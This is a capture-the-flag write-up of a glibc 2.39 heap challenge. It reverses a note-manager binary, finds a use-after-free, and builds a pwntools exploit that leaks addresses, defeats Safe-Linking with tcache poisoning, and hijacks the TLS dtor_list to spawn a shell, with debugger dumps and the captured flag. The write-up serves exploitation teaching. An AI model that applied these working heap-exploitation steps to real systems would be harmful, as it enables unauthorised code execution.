Note father - Redemption
12 minutes to read
We are given a 64-bit binary called chall_patched
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
We also have the Glibc library version 2.39 and loader, and the binary is already patched to use these files:
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.4) stable release version 2.39.
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 13.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Reverse engineering
If we open the binary in Ghidra, we can see the following main
function:
int main() {
int option;
while (graceful_exit == 0) {
option = menu();
switch (option) {
case 0:
new_note();
break;
case 1:
edit_note();
break;
case 2:
read_note();
break;
case 3:
del_note();
break;
case 4:
graceful_exit = 1;
break;
default:
throw("Unknown choize. Try again!");
}
}
puts("[+] Exiting app...");
return 0;
}
We have a classic heap exploitation challenge. These are the options we can use:
void menu() {
puts("0 -> Create new note");
puts("1 -> Rewrite note");
puts("2 -> Read note");
puts("3 -> Delete note");
puts("4 -> Exit program");
get_int();
}
Before diving into the functions, it is a typical reverse-engineering step to understand the data structures that are used in the program, using both the decompiler and the debugger. Once we know where is each of the fields stored, we can define a struct
in Ghidra, so that the code looks nicer to read. For instance, the notes here follow the following struct
:
struct note_t {
int used;
int freed;
size_t size;
char* data;
};
Allocation function
We can create notes with new_note
:
void new_note() {
unsigned int index;
int size;
unsigned long __size;
char *p_note;
printf("Input the note\'s idx (0 - %d)", 19);
index = get_int();
if (index < 20) {
printf("Input the note\'s size (1 - %d)", 0x400);
size = get_int();
__size = (unsigned long) size;
if ((__size == 0) || (0x400 < __size)) {
throw("Invalid note size");
} else {
p_note = (char*) malloc(__size);
notes[index].data = p_note;
notes[index].size = __size;
puts("[+]Enter the notes\' content:");
read(0, notes[index].data, notes[index].size - 1);
notes[index].used = 1;
notes[index].freed = 0;
printf("Note %d created!\n", (unsigned long) index);
}
} else {
throw("Invalid note index");
}
}
There is a global array notes
of 20 positions. On each note, we must tell the index where to place it (from 0
up to 19
included), its size (less than 0x400
) and then its content (heap chunks managed by malloc
). There is no overflow here. Notice that field used
is set to 1
and freed
is set to 0
.
Edit function
We are allowed to edit notes given an index:
void edit_note() {
unsigned int index;
printf("Input the index of the note to edit (0 - %d)", 19);
index = get_int();
if ((index < 20) && (notes[index].used != 0)) {
puts("[+]Enter the notes\' content:");
read(0, notes[index].data, notes[index].size - 1);
printf("Note %d edited!\n", (unsigned long) index);
} else {
throw("Invalid note index");
}
}
The index is verified correctly, and the note must have used = 1
. After that, we can overwrite the note with new data, using the size of the note. There is no overflow either.
Information function
We can also read a note:
void read_note() {
unsigned int index;
printf("Input the index of the note to read (0 - %d)", 19);
index = get_int();
if ((index < 20) && (notes[index].used != 0)) {
printf("Note %d:\n", (unsigned long) index);
puts(notes[index].data);
} else {
throw("Invalid note index");
}
}
Again, this function checks that the index is correct and that the note is in use. Then, the field data
is printed out.
Free function
Finally, we can delete notes:
void del_note() {
unsigned int index;
printf("Input the index of the note to delete (0 - %d)", 19);
index = get_int();
if ((index < 20) && (notes[index].freed == 0)) {
free(notes[index].data);
notes[index].freed = 1;
printf("Note %d deleted!\n", (unsigned long) index);
} else {
throw("Invalid note index");
}
}
The function checks the index and also verifies that the note is in use. Then, it calls free
and sets the field freed = 1
.
However, the flaw is that the pointer notes[index]
is not erased. Therefore, there is still a reference to this freed note in the global array.
Also, notice that the field used
is untouched, so it still holds used = 1
. As a result, we will be able to use edit_note
and read_note
on a freed note. This situation is known as Use After Free.
Exploit strategy
The Use After Free situation is easy to exploit here, because we don’t have many limitations. First of all, we will get some memory leaks. Namely, we will need a heap address and a Glibc address in order to bypass ASLR and Safe-Linking. Then, we will use Tcache poisoning to get an arbitrary write primitive. At this point, there are several ways to get code execution, I will use TLS-Storage dtor_list
.
It is very easy to get a heap address leak because once we free a a heap chunk, there will be heap metadata to keep free-lists, namely heap addresses. In the case of Glibc 2.39 and a size less than 0x400
, the chunk will be inserted in the Tcache, and it will hold an fd
pointer with a heap address that points to the next freed chunk.
Therefore, we can free a note and read from it to get a heap address leak. But this is not the end, because Glibc 2.39 uses Safe-Linking on Tcache freed chunks, a kind of mitigation to make exploitation harder. This means that these fd
pointers are obfuscated using a XOR cipher with the address of the chunk right-shifted 12 bits as a key. However, as I mention in CRSid, it is easy to bypass.
There are several approaches to get a Glibc leak. The most common one is to fill the Tcache free-list for a size greater than 0x80
, in order to be away from Fast Bin chunks. Once we free the eighth one, this chunk will go to the Unsorted Bin, which holds pointers fd
and bk
that point to main_arena
inside Glibc.
Another approach is to free a chunk whose size is greater than 0x400
, so that the Tcache cannot hold it and it will go directly to the Unsorted Bin. It is possible to use this approach on this challenge because we can use a size of 0x3f9
or greater, and the effective size will be 0x410
, so it is outside the Tcache bounds.
Once we have all the leaks, we will use Tcache poisoning. This is just modifying an fd
pointer so that when allocating another chunk of the same size, we can get a chunk at a wanted location. Observe that we will need to obfuscate addresses because of Safe-Linking. With this we will achieve an arbitrary write primitive.
Finally, TLS-Storage dtor_list
is a technique that exploits the way binaries use the exit
function. Basically, we are registering a function that will be called on exit. This is just a structure that appears in a section of the TLS. Here, the function address must be mangled with a PTR_MANGLE
cookie, that is also stored on the TLS, but we need to know it beforehand. But it is easier to overwrite it with null bytes, so that the mangling operation becomes a simple left-shift.
When the payload is ready on the TLS, we need to exit the program normally, and we will get a shell.
Exploit development
Let’s use the following helper functions:
def create(index: int, size: int, data: bytes):
io.sendlineafter(b'> ', b'0')
io.sendlineafter(b"Input the note's idx (0 - 19)> ", str(index).encode())
io.sendlineafter(b"Input the note's size (1 - 1024)> ", str(size).encode())
io.sendlineafter(b"[+]Enter the notes' content:\n", data)
def edit(index: int, data: bytes):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Input the index of the note to edit (0 - 19)> ', str(index).encode())
io.sendafter(b"[+]Enter the notes' content:\n", data)
def view(index: int) -> bytes:
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'Input the index of the note to read (0 - 19)> ', str(index).encode())
io.recvuntil(f'Note {index}:\n'.encode())
return io.recvuntil(b'\n0 ->', drop=True)
def delete(index: int):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'Input the index of the note to delete (0 - 19)> ', str(index).encode())
We will run the exploit directly against the Docker container. We can attach a debugger as long as we have root
permissions (gdb -q -p $(pidof chall)
). This way, we will prevent issues such as wrong offsets or different virtual memory mappings. In addition, the remote instance is supposed to have the same Docker setup, so if the exploit works in the local Docker container, it must work on the remote instance too.
Leaking memory addresses
Let’s start with getting heap and Glibc addresses:
io = get_process()
for i in range(8):
create(i, 0xa8, b'asdf')
for i in range(8):
delete(7 - i)
With this, we will fill the Tcache of size 0xb0
, and the eighth freed chunk will go to the Unsorted Bin. This is the heap at this point:
gef> visual-heap -n
0x62da7ea01000: 0x0000000000000000 0x0000000000000291 | ................ |
0x62da7ea01010: 0x0000000000000000 0x0000000000000000 | ................ |
0x62da7ea01020: 0x0000000000070000 0x0000000000000000 | ................ |
0x62da7ea01030: 0x0000000000000000 0x0000000000000000 | ................ |
* 9 lines, 0x90 bytes
0x62da7ea010d0: 0x0000000000000000 0x000062da7ea01350 | ........P..~.b.. |
0x62da7ea010e0: 0x0000000000000000 0x0000000000000000 | ................ |
* 26 lines, 0x1a0 bytes
0x62da7ea01290: 0x0000000000000000 0x00000000000000b1 | ................ | <- unsortedbins[1/1]
0x62da7ea012a0: 0x00007d4820164b20 0x00007d4820164b20 | K. H}.. K. H}.. |
0x62da7ea012b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01340: 0x00000000000000b0 0x00000000000000b0 | ................ |
0x62da7ea01350: 0x000062dc5307fe01 0x3dec5f7853a94add | ...S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][4/7]
0x62da7ea01360: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea013f0: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea01400: 0x000062dc5307feb1 0x3dec5f7853a94add | ...S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][1/7]
0x62da7ea01410: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea014a0: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea014b0: 0x000062dc5307ff61 0x3dec5f7853a94add | a..S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][6/7]
0x62da7ea014c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01550: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea01560: 0x000062dc5307fc11 0x3dec5f7853a94add | ...S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][2/7]
0x62da7ea01570: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01600: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea01610: 0x000062dc5307fcc1 0x3dec5f7853a94add | ...S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][5/7]
0x62da7ea01620: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea016b0: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea016c0: 0x000062dc5307fd71 0x3dec5f7853a94add | q..S.b...J.Sx_.= | <- tcache[idx=9,sz=0xb0][3/7]
0x62da7ea016d0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01760: 0x0000000000000000 0x00000000000000b1 | ................ |
0x62da7ea01770: 0x000000062da7ea01 0x3dec5f7853a94add | ...-.....J.Sx_.= | <- tcache[idx=9,sz=0xb0][7/7]
0x62da7ea01780: 0x0000000000000000 0x0000000000000000 | ................ |
* 8 lines, 0x80 bytes
0x62da7ea01810: 0x0000000000000000 0x00000000000207f1 | ................ | <- top
0x62da7ea01820: 0x0000000000000000 0x0000000000000000 | ................ |
* 8317 lines, 0x207d0 bytes
gef> bins
--------------------------------------------------------------------------------------------------------- Tcachebins for arena 'main_arena' ---------------------------------------------------------------------------------------------------------
tcachebins[idx=9, size=0xb0, @0x62da7ea010d8] count=7
-> Chunk(addr=0x62da7ea01340, size=0xb0, flags=, fd=0x62da7ea01400, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea013f0, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea014b0, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea014a0, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea01560, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea01550, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea01610, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea01600, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea016c0, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea016b0, size=0xb0, flags=PREV_INUSE, fd=0x62da7ea01770, bk=0x3dec5f7853a94add)
-> Chunk(addr=0x62da7ea01760, size=0xb0, flags=PREV_INUSE, fd=0x000000000000, bk=0x3dec5f7853a94add)
[+] Found 7 chunks in tcache.
---------------------------------------------------------------------------------------------------------- Fastbins for arena 'main_arena' ----------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in fastbin.
-------------------------------------------------------------------------------------------------------- Unsorted Bin for arena 'main_arena' --------------------------------------------------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7d4820164b30]: fd=0x62da7ea01290, bk=0x62da7ea01290
-> Chunk(addr=0x62da7ea01290, size=0xb0, flags=PREV_INUSE, fd=0x7d4820164b20, bk=0x7d4820164b20)
[+] Found 1 chunks in unsorted bin.
--------------------------------------------------------------------------------------------------------- Small Bins for arena 'main_arena' ---------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
--------------------------------------------------------------------------------------------------------- Large Bins for arena 'main_arena' ---------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
As can be seen, we have plenty of heap addresses and a Glibc address that points to main_arena+96
. Let’s find the base addresses:
gef> x 0x00007d4820164b20
0x7d4820164b20 <main_arena+96>: 0x7ea01810
gef> p/x 0x00007d4820164b20 - $libc
$1 = 0x203b20
glibc.address = u64(view(0).ljust(8, b'\0')) - 0x203b20
heap_addr = deobfuscate(u64(view(1).ljust(8, b'\0'))) & 0xfffffffffffff000
io.success(f'Glibc base address: {hex(glibc.address)}')
io.success(f'Heap base address: {hex(heap_addr)}')
[+] Glibc base address: 0x7d481ff61000
[+] Heap base address: 0x62da7ea01000
At this point, we are able to create the payload for TLS-Storage dtor_list
:
gef> tls
$tls = 0x7d481ff5e740
------------------------------------------------ TLS-0x80 ------------------------------------------------
0x7d481ff5e6c0|+0x0000|+000: 0x00007d482016c680 <_res@GLIBC_2.2.5> -> 0x0000000000000000
0x7d481ff5e6c8|+0x0008|+001: 0x0000000000000000
0x7d481ff5e6d0|+0x0010|+002: 0x00007d48201129c0 <_nl_C_LC_CTYPE_tolower+0x200> -> 0x0000000100000000
0x7d481ff5e6d8|+0x0018|+003: 0x00007d4820112fc0 <_nl_C_LC_CTYPE_toupper+0x200> -> 0x0000000100000000
0x7d481ff5e6e0|+0x0020|+004: 0x00007d48201138c0 <_nl_C_LC_CTYPE_class+0x100> -> 0x0002000200020002
0x7d481ff5e6e8|+0x0028|+005: 0x0000000000000000
0x7d481ff5e6f0|+0x0030|+006: 0x0000000000000000
0x7d481ff5e6f8|+0x0038|+007: 0x0000000000000000
0x7d481ff5e700|+0x0040|+008: 0x000062da7ea01010 -> 0x0000000000000000
0x7d481ff5e708|+0x0048|+009: 0x0000000000000000
0x7d481ff5e710|+0x0050|+010: 0x00007d4820164ac0 <main_arena> -> 0x0000000000000000
0x7d481ff5e718|+0x0058|+011: 0x0000000000000000
0x7d481ff5e720|+0x0060|+012: 0x0000000000000000
0x7d481ff5e728|+0x0068|+013: 0x0000000000000000
0x7d481ff5e730|+0x0070|+014: 0x0000000000000000
0x7d481ff5e738|+0x0078|+015: 0x0000000000000000
--------------------------------------------------- TLS --------------------------------------------------
0x7d481ff5e740|+0x0000|+000: 0x00007d481ff5e740 -> [loop detected]
0x7d481ff5e748|+0x0008|+001: 0x00007d481ff5f0e0 -> 0x0000000000000001
0x7d481ff5e750|+0x0010|+002: 0x00007d481ff5e740 -> [loop detected]
0x7d481ff5e758|+0x0018|+003: 0x0000000000000000
0x7d481ff5e760|+0x0020|+004: 0x0000000000000000
0x7d481ff5e768|+0x0028|+005: 0x2623e3231a60fe00 <- canary
0x7d481ff5e770|+0x0030|+006: 0xaa21bcd4d18b306e <- PTR_MANGLE cookie
0x7d481ff5e778|+0x0038|+007: 0x0000000000000000
0x7d481ff5e780|+0x0040|+008: 0x0000000000000000
0x7d481ff5e788|+0x0048|+009: 0x0000000000000000
0x7d481ff5e790|+0x0050|+010: 0x0000000000000000
0x7d481ff5e798|+0x0058|+011: 0x0000000000000000
0x7d481ff5e7a0|+0x0060|+012: 0x0000000000000000
0x7d481ff5e7a8|+0x0068|+013: 0x0000000000000000
0x7d481ff5e7b0|+0x0070|+014: 0x0000000000000000
0x7d481ff5e7b8|+0x0078|+015: 0x0000000000000000
gef> p/x $libc - $tls
$3 = 0x28c0
gef> p/x 0x00007d481ff5f0e0 - $tls
$4 = 0x9a0
tls_addr = glibc.address - 0x28c0
tls_payload = p64(tls_addr - 0x80 + 0x38)
tls_payload += p64(glibc.sym.system << 17)
tls_payload += p64(next(glibc.search(b'/bin/sh')))
tls_payload += p64(0) * 7
tls_payload += p64(tls_addr)
tls_payload += p64(tls_addr + 0x9a0)
tls_payload += p64(tls_addr)
tls_payload += p64(0) * 4
Now, we will write this payload using our arbitrary write primitive through Tcache poisoning:
edit(1, p64(obfuscate(tls_addr - 0x80 + 0x30, heap_addr + 0x290 + 0xb0)))
create(8, 0xa8, b'asdf')
gef> tcache
------------------------------------ Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=9, size=0xb0, @0x62da7ea010d8] count=6
-> Chunk(addr=0x7d481ff5e6e0, size=0x0, flags=, fd=0x0007d481ff5e, bk=0x000000000000)
-> 0x7d481ff5e [Corrupted chunk]
[+] Found 1 chunks in tcache.
Notice how the next Tcache chunk to be allocated is at the address we want. So, we only need to create another note and write the payload there:
create(9, 0xa8, tls_payload)
gef> tls
$tls = 0x7d481ff5e740
------------------------------------------------ TLS-0x80 ------------------------------------------------
0x7d481ff5e6c0|+0x0000|+000: 0x00007d482016c680 <_res@GLIBC_2.2.5> -> 0x0000000000000000
0x7d481ff5e6c8|+0x0008|+001: 0x0000000000000000
0x7d481ff5e6d0|+0x0010|+002: 0x00007d48201129c0 <_nl_C_LC_CTYPE_tolower+0x200> -> 0x0000000100000000
0x7d481ff5e6d8|+0x0018|+003: 0x00007d4820112fc0 <_nl_C_LC_CTYPE_toupper+0x200> -> 0x0000000100000000
0x7d481ff5e6e0|+0x0020|+004: 0x00007d48201138c0 <_nl_C_LC_CTYPE_class+0x100> -> 0x0002000200020002
0x7d481ff5e6e8|+0x0028|+005: 0x0000000000000000
0x7d481ff5e6f0|+0x0030|+006: 0x00007d481ff5e6f8 -> 0xfa903ff72ea00000
0x7d481ff5e6f8|+0x0038|+007: 0xfa903ff72ea00000
0x7d481ff5e700|+0x0040|+008: 0x00007d482012c42f -> 0x0068732f6e69622f ('/bin/sh'?)
0x7d481ff5e708|+0x0048|+009: 0x0000000000000000
0x7d481ff5e710|+0x0050|+010: 0x0000000000000000
0x7d481ff5e718|+0x0058|+011: 0x0000000000000000
0x7d481ff5e720|+0x0060|+012: 0x0000000000000000
0x7d481ff5e728|+0x0068|+013: 0x0000000000000000
0x7d481ff5e730|+0x0070|+014: 0x0000000000000000
0x7d481ff5e738|+0x0078|+015: 0x0000000000000000
--------------------------------------------------- TLS --------------------------------------------------
0x7d481ff5e740|+0x0000|+000: 0x00007d481ff5e740 -> [loop detected]
0x7d481ff5e748|+0x0008|+001: 0x00007d481ff5f0e0 -> 0x0000000000000001
0x7d481ff5e750|+0x0010|+002: 0x00007d481ff5e740 -> [loop detected]
0x7d481ff5e758|+0x0018|+003: 0x0000000000000000
0x7d481ff5e760|+0x0020|+004: 0x0000000000000000
0x7d481ff5e768|+0x0028|+005: 0x0000000000000000
0x7d481ff5e770|+0x0030|+006: 0x0000000000000000
0x7d481ff5e778|+0x0038|+007: 0x000000000000000a
0x7d481ff5e780|+0x0040|+008: 0x0000000000000000
0x7d481ff5e788|+0x0048|+009: 0x0000000000000000
0x7d481ff5e790|+0x0050|+010: 0x0000000000000000
0x7d481ff5e798|+0x0058|+011: 0x0000000000000000
0x7d481ff5e7a0|+0x0060|+012: 0x0000000000000000
0x7d481ff5e7a8|+0x0068|+013: 0x0000000000000000
0x7d481ff5e7b0|+0x0070|+014: 0x0000000000000000
0x7d481ff5e7b8|+0x0078|+015: 0x0000000000000000
The TLS looks good, so we can now exit the program (option 4) and get a shell:
io.sendlineafter(b'> ', b'4')
io.recvuntil(b'[+] Exiting app...\n')
io.interactive()
[*] Switching to interactive mode
$ whoami
root
Flag
At this point, we can connect to the remote instance and capture the flag:
$ python3 solve.py 0.cloud.chals.io 15077
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to 0.cloud.chals.io on port 15077: Done
[+] Glibc base address: 0x7b5a3564e000
[+] Heap base address: 0x5c2b6393d000
[*] Switching to interactive mode
$ cat /flag*
HackOn{th15_w4s_4_t00_e4zy_2_b3_c4ll3d_f4th3r...d0738538b7823bb2778b4380b1044b36}
The full exploit can be found in here: solve.py
.